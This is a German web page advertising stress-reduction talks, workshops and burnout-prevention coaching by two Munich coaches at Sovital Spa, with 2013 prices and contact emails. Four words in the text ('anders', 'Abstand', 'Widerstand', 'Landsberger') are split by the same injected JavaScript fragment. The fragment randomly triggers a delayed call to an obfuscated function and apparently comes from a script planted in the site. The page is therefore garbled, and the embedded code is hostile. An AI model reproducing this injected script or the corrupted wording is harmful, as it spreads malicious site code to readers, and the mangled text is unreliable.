Stressreduzierung

Auf geht´s!
Aktiv in den Herbst mit
mehr Gelassenheit und Lebensfreude
„… weil´s des Leb´n wieder schön macht …“

Unser Vortrag „Prophylaxe“ zum Anhören …

• Woher kommt der ganze Stress? War früher wirklich alles andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}anders?
• Warum fühle ich mich ständig schlapp und bin kaum leistungsfähig?
• Wieso komme ich vor lauter Grübeln gar nicht mehr zum Denken?

In dem 1,5-stündigen Vortrag erfahren Sie die Hintergründe der Auswirkungen
unserer modernen Zeiten und erhalten schnell umsetzbare Tipps und
Tricks für Ihre eigenen stressreduzierenden Maßnahmen.

[hr]

• Termine Bitte erfragen Sie die nächsten Veranstaltungstermine am Ende dieser Seite oder direkt im SovitalSpa unter 089-120 22-505 / -506
• Weihnachts-Special bis 17.12.2013 – Buchen Sie heute für € 39,- einen Workshopbesuch ab Januar 2013
  Preis ab 18.12.2013: € 90,- incl. MwSt. inclusive Stressorentest und Unterlagen

 

Unser Workshop „Stressreduzierung“ zum Mitmachen …

• Warum komme ich immer wieder in Stress und warum ist das so?
• Wie kann ich meinem Stress aktiv begegnen?
• Wie finde ich täglich zu meiner inneren Leichtigkeit?

Wir analysieren in diesem 4-stündigen Workshop Ihre unbewussten persönlichen Stressverstärker und entwickeln gezielte Gegen-maßnahmen, damit Ihr innerer Autopilot entspannende Gedankenmuster aussendet, Sie somit ruhig und ausgeglichen in vielen Alltagssituationen agieren können.

Die Workshops werden in Gruppen von 8 bis 12 Teilnehmern durchgeführt.
Weitere Infos

[hr]

Einzelcoaching „Auf geht´s“ ganz für SIE alleine

• Dauer 2 Stunden Analysebesprechung und 2 x 1 Stunde Coaching im Abstandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and von ca. 4 Wochen.
• Investition € 350,- zzgl. MwSt., incl. Burnout-Screening und gezieltem Prophylaxe-Coaching

In Ihrem persönlichen Coaching analysieren wir über einen Fragebogen die Möglichkeiten zu mehr Widerstandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andskraft und Selbstmanagement. Nach einem Burnout-Screening mit Besprechung des Ergebnisses und gezieltem lösungsorientierten Coaching für Ihre ganz persönliche Situation können Sie eigenständig im beruflichen wie privaten Alltag die Weichen zu mehr Motivation, Sinnhaftigkeit und Aktivität stellen und …

=> somit auf Dauer wieder mehr Lebensfreude verspüren.

• Nach Besuch des 1,5-stündigen Vortrags erkennen Sie in dem darauf folgenden Workshop Ihre automatischen Reaktionsmuster, die Ihre Stresshormone unkontrolliert aktivieren und Sie in die Erschöpfung treiben können.
• Ein persönliches Burnout-Screening und gezielte Maßnahmen für Ihre Situation runden dieses Prophylaxe-Angebot ab.
• Bei akuter Burnout-Gefahr erhalten Sie Empfehlungen für aktive Gegenmaßnahmen bzw. medizinische Untersuchungen des Stresshormonhaushalts, gerne in unserem medizinischen Netzwerk.
• Auch der Besuch nur eines Termins ermöglicht es Ihnen, einen neuen Blickwinkel für dieses Thema zu bekommen. So werden Sie fit für die Zukunft!

In allen Terminen stehen für meine Teilnehmer neben umfänglicher Informationen die Erholung und das Wohlfühlen an erster Stelle. Es wird bewusst mit Leichtigkeit agiert und auch gelacht!

Mein wichtigstes Anliegen ist es, mit Ihnen gut umsetzbare Lösungen für Ihr eigenes Stressmanagement zu entwickeln, die Sie ab sofort aktiv umsetzen können.

[hr]

Kontaktieren Sie mich gerne, ich freue mich auf Sie!

Ihre

 

Verena Jardin
Vorträge, Workshops und Einzelcoachings

Personal- und Business-Coach
Zert. Coach für Stressmanagement und Burnout-Prophylaxe
Email: v.jardin@intem.de

 

 

 

Karin Mack
Führungskräftetrainings, Teamworkshops

Zertifizierte INtem – Master-Trainerin
Diplomierte Führungskräfte-Trainerin Zert.
Alchimedus® Business-Coach
Email: k.mack@intem.de

 

 

in Kooperation mit

PassionSales® – Erfolge mit Leidenschaft
Inh. Karin Mack
im Regus Business Center, Landom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andsberger Str. 155 / Hs. 2, 80687 München
Tel.: 089/ 579 59-627
www.passionsales.de

 

 

Erleben Sie erholsame Stunden in entspannter Atmosphäre und kombinieren Sie unser
Prophylaxe-Angebot mit Wellness im Hause Sovital Spa:

 

Ob Floating in einem der drei Floating-Becken, ob ein Besuch der Salzgrotte –
hier können Sie bereits in kurzer Zeit einen hohen Erholungswert mit Langzeitwirkung erzielen!
Wir freuen uns auf Sie!

 

Anmeldung für Vortrag, Workshop und Einzelcoaching per Email an v.jardin@intem.de